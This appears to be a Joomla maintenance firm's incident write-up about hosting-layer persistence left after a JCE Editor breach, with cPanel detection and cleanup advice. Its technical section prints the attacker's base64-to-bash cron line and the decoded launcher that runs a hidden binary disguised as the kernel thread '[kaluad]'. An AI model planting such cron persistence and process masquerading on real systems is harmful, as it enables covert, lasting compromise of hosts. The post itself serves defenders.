
The short version: When a Joomla site gets hacked through something like the recent JCE Editor vulnerability, most cleanups focus on the Joomla side — webshells, rogue users, malicious files. That work is necessary, but it isn't always sufficient anymore. On a site we helped clean up this week, the attacker had also planted a cron job and a couple of cPanel API tokens that would have re-infected the site within an hour — completely outside Joomla, completely outside whatever your Joomla-side cleanup catches. If your site has been hit recently, the cPanel layer is worth a second look.
Read the full technical breakdown ↓
What we found this week
We were brought in to help on a hacked Joomla site. The site's regular developer was already on it — and was doing solid work. By the time we joined the conversation, they had already cleaned out the malicious files in /images/ and /tmp/, fixed the tampered .htaccess files, removed a rogue Super User account the attacker had planted, and patched JCE Editor to the latest secure release.
That's the standard playbook for a JCE-style hack. It's correct. On most older-vintage hacks, it would have been enough.
Then we added the site to mysites.guru for ongoing monitoring as part of taking it under our maintenance plan. The scan immediately caught something worth flagging — roughly 80 rogue JCE Editor profiles still sitting in the site's database. These weren't files; they were database rows that quietly configured the editor to allow .php and wildcard uploads through it. They would have overridden the JCE patch itself. We cleaned them out.
But the bigger surprise was waiting in cPanel.
The two things hiding in cPanel
When we logged in to the hosting control panel — partly to look at disk usage, partly to verify the cleanup at the hosting level — we found two more pieces the attacker had left behind:
1. A malicious cron job. It was scheduled to run every hour, on the hour. The command was a base64-encoded blob that, when decoded, ran a hidden binary at /home/<account>/.config/htop/defunct. That binary then re-launched itself with a disguised process name — [kaluad] — so anyone running ps or looking at cPanel's process list would see it and assume it was a normal Linux kernel thread.
This is the re-infection layer. Even if every malicious file in /images/ had been swept, every .htaccess rule cleaned, every rogue Joomla user deleted, and JCE patched cleanly — this cron would have re-opened a backdoor on the next hour boundary. The Joomla-level cleanup would have looked done. The site would have been compromised again before lunch.
2. Two extra cPanel API tokens. The attacker had created their own tokens through cPanel's API-token feature. A cPanel API token can do basically anything the account owner can do — create files, schedule cron jobs, set up email forwarders, change MX records, generate FTP accounts. They survive every Joomla-level cleanup because they're not in Joomla. They sit in cPanel's own configuration.
We deleted the cron job, deleted the malicious binary, and revoked both API tokens. Combined with the rogue-profile cleanup and the JCE patch and the developer's earlier work, the site is now actually clean — at the Joomla layer and at the cPanel layer.
Why this matters
The developer working the Joomla side wasn't missing something obvious. They cleaned the webshells, patched JCE, removed the rogue admin account. That's the recipe — and twelve months ago, it was sufficient. What's changed is that the current generation of attack kits is leaving persistence at the hosting layer too, not just at the Joomla layer.
If you only look at Joomla, you miss it. By the time the cron fires next hour, the attacker is back in. Your developer cleaned up the visible mess in good faith, and it looks fixed — until the redirect comes back. Or until the spam relay starts. Or until the next site on the same shared host gets popped through the API token nobody noticed was still active.
For a business owner: if your site has been cleaned up recently and you aren't sure whether the cPanel side got looked at — not just the Joomla side — that's the question to ask. Two specific things to check (or to ask whoever cleaned it to check):
- Cron jobs. Open cPanel → Cron Jobs. Anything you don't recognize gets investigated. Especially anything running every hour with a long, opaque, base64-looking command.
- API tokens. Open cPanel → Manage API Tokens. Anything in that list that you or your developer didn't create gets revoked.
That's not the whole audit, but those two screens take five minutes and they're the most common gap.
Where to go from here
If you'd like a second set of eyes on a Joomla site you've already cleaned up — or a full cleanup if it hasn't been done yet — drop me a line at
The sites that come through this cleanly are the ones where someone is paying attention at both layers.
The technical breakdown
This part is for fellow admins and developers who want the specifics. If you came for the summary, you're done — thanks for reading.
The cron job
The cron entry was scheduled 0 * * * * (every hour on the minute), under the cPanel user. The command, with the base64 blob abbreviated, looked like this:
{ echo <base64-blob> | base64 -d | bash; } 2>/dev/null #<random-hex> >/dev/random # seed prng defunct-kernel
The trailing # seed prng defunct-kernel comment is part of the disguise — it makes the line read at a glance as some kernel-related shell housekeeping. The redirect to /dev/random after the # is a no-op because the # comments the rest of the line out at the shell level.
Decoded, the base64 blob expanded to roughly:
/usr/bin/pkill -0 -U<uid> defunct 2>/dev/null \
|| SHELL= TERM=xterm-256color \
GS_ARGS="-k /home/<account>/.config/htop/defunct.dat -liqD" \
/usr/bin/bash -c "exec -a '[kaluad]' \
'/home/<account>/.config/htop/defunct' 2>/dev/null"
The logic is: "if a process called defunct is already running under our UID, do nothing; otherwise, launch the binary at ~/.config/htop/defunct, passing it config from defunct.dat, and rename the running process to [kaluad] so it looks like a kernel thread."
The square-bracket process name is the classic Linux disguise — ps aux shows kernel threads as [kthreadd], [ksoftirqd/0], [rcu_preempt], and so on. A binary that calls prctl(PR_SET_NAME) (or, as here, that's launched with exec -a '[name]') can take a similar-looking name. Anyone glancing at the process list assumes it's normal.
The persistence binary
The binary itself was a 2.7 MB ELF at /home/<account>/.config/htop/defunct, mode 0700, owner the cPanel user. Its config was a separate 23-byte file defunct.dat in the same directory, mode 0600. The ~/.config/htop/ location is the same path the real htop utility uses for its own config — another piece of camouflage.
We deleted both. Combined with cron removal, the relaunch chain is broken — though if it's running in memory at the moment of cron removal, it will keep running until either the process exits, the host reboots, or someone manually kills it. On a shared cPanel host the only practical kill path is to ask the host's support team to kill the PID for you, since cPanel users don't get kill privileges on processes they own through the control panel.
The cPanel API tokens
cPanel exposes per-user API tokens at Manage API Tokens in Jupiter / the Tokens screen on older interfaces. Tokens authorise the holder to call cPanel's UAPI and API2 endpoints as if they were the account owner. There's no audit log of what a token was used for — only when it was created and last seen.
The attacker had created two of them. Names weren't memorable strings — they looked auto-generated. Both pre-dated our involvement; both were almost certainly created during the original JCE-vector breach, alongside the file uploads. We revoked both and created a single new token for our own tooling.
The thing to remember about cPanel API tokens is that they don't go away when the originating vulnerability is patched. They're independent credentials. JCE Editor at 2.9.99.6 won't let new ones get created — but the ones already created stay active until someone explicitly revokes them.
Detection workflow for admins
If you're auditing a JCE-victim site (or any Joomla site you've recently cleaned up) for hosting-layer persistence, the quick pass is:
- cPanel → Cron Jobs. Anything you don't recognise gets investigated. Look especially for hourly schedules with base64 in the command, or commands that pipe to
bash, or anything referencing paths under~/.config/,~/.cache/,~/.local/, or other dotfile directories the user probably doesn't browse to. - cPanel → Manage API Tokens. Anything not created by you or your tooling gets revoked.
~/.config/,~/.cache/,~/.local/share/listings. Look for subdirectories the cPanel user shouldn't have.htop/defunctis one signature; we've seen similar patterns undersystemd/,gnome-keyring/, and other names that look like normal Linux user-config but shouldn't exist on a shared-hosting account that doesn't have an interactive shell.- The Joomla DB-level audit. Even after a clean file-level sweep, check
#__jce_profilesfor unusual rows — multipleDefaultduplicates,J######machine-named profiles,Pwned/__pwn__cute-named profiles. mysites.guru automates this and is what caught the ~80 rogue rows on the site that prompted this article. - The standard rotation list. Joomla Super User passwords, FTP/SSH keys, the database password in
configuration.phpif you suspect filesystem access, any tokens stored in writable config.
Why this is showing up more now
The JCE-editor 0-day wave that hit in early-to-mid June 2026 has been a mass-scan event. When an attack kit reaches that scale, the marginal cost of "while we have access, also drop hosting-layer persistence" is near zero. The kits are doing it because it's effectively free.
That's likely to be the pattern going forward, not just for this specific vulnerability. Anytime there's a widely-deployed extension with a remote-upload bug and a known-popular target platform, the kits will start chaining hosting-layer persistence onto the platform-level breach. Cleanup playbooks that only look at the platform layer are going to age out.
What we changed in our own workflow this week
We added two specific checks to our standard post-hack cleanup:
- Read cron jobs as a first step, before touching anything Joomla-side. If a malicious cron is going to fire in the next 60 minutes, we want to disarm it before doing anything else.
- Enumerate cPanel API tokens and revoke anything we don't own. If the attacker has API token access, the cleanup is undermined the moment we walk away.
Both are quick. Neither requires special tooling. They're now front-of-queue on every hack-cleanup engagement.
← Back to the plain-English summary
Add comment